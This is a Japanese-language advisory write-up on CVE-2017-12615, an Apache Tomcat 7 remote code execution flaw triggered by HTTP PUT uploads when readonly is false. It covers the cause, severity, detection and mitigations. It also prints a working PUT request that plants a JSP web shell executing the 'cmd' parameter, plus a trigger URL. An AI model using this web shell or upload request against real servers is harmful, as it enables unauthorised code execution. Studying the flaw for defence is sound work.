
CVE-2017-12615 - Apache Tomcat リモートコード実行 (RCE)
CVE-2017-12615 は、HTTP PUT リクエストが有効な Microsoft Windows 上で動作する Apache Tomcat 7.0.0 から 7.0.79 に影響を与えるリモートコード実行 (RCE) の脆弱性です。
この脆弱性は、DefaultServlet の readonly パラメータが false に設定されている場合に、Tomcat がアップロードされた JSP ファイルを誤って処理することに起因します。このような条件下では、認証されていない攻撃者が悪意のある JSP ファイルを Web サーバーに直接アップロードし、アップロードしたファイルをリクエストするだけで任意の Java コードを実行できます。
この脆弱性は、設定ミスのあるサーバーに対して非常に簡単に悪用できたため、最も有名な Tomcat RCE 問題の1つとなりました。
readonly="false" が設定されている| メトリクス | 値 |
|---|---|
| CVE | CVE-2017-12615 |
| CVSS v3 | 8.1 (高) |
| 攻撃ベクトル | ネットワーク |
| 必要な権限 | なし |
| ユーザー操作 | 不要 |
| 影響 | リモートコード実行 |
通常、Apache Tomcat はユーザーが実行可能な JSP ファイルをアップロードすることを防ぎます。
ただし、以下の場合:
readonly=false)攻撃者は JSP ファイルを Web ルートに直接アップロードできます。
アップロード後、その JSP をリクエストすると、Tomcat がそれをコンパイルして実行し、Tomcat サービスの権限で任意の Java コードを実行できます。
Attacker
│
│ HTTP PUT
▼
Uploads malicious JSP shell
│
▼
Tomcat stores file
│
│ HTTP GET
▼
Requests uploaded JSP
│
▼
Tomcat compiles JSP
│
▼
Java code executes
│
▼
Remote Code Execution
典型的な攻撃は以下の手順で行われます:
.jsp Web シェルをアップロードする。サーバーが脆弱な場合、認証は必要ありません。
HTTP PUT リクエストの例:
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
成功すると、サーバーは以下のように応答します:
HTTP/1.1 201 Created
その後、ペイロードは以下にアクセスすることで実行できます:
http://victim.com/shell.jsp?cmd=whoami
脆弱なシステムを特定する簡単な方法は、無害なテスト用 JSP のアップロードを試みることです:
PUT /test.jsp
考えられる応答は以下のとおりです:
201 Created
または
204 No Content
アップロードしたファイルがその後 HTTP 経由で取得できる場合、そのサーバーは脆弱である可能性が高いです。
悪用に成功すると、攻撃者は以下を行うことができます:
セキュリティチームは以下を調査する必要があります:
.jsp ファイル推奨される緩和策は以下のとおりです:
readonly="true" を使用していることを確認する。このリポジトリは、教育目的、防御的なセキュリティ研究、および許可を得たペネトレーションテストのみを目的としています。明示的な許可なしに、この情報をシステムに対して使用しないでください。
| プロパティ | 値 |
|---|
| 脆弱性 | 任意の JSP アップロード |
| CWE | CWE-434 - Unrestricted Upload of File with Dangerous Type |
| 認証の必要性 | なし |
| 悪用の複雑さ | 脆弱な設定では低 |
| 結果 | リモートコード実行 |
| プラットフォーム | Windows |
| サービス | Apache Tomcat |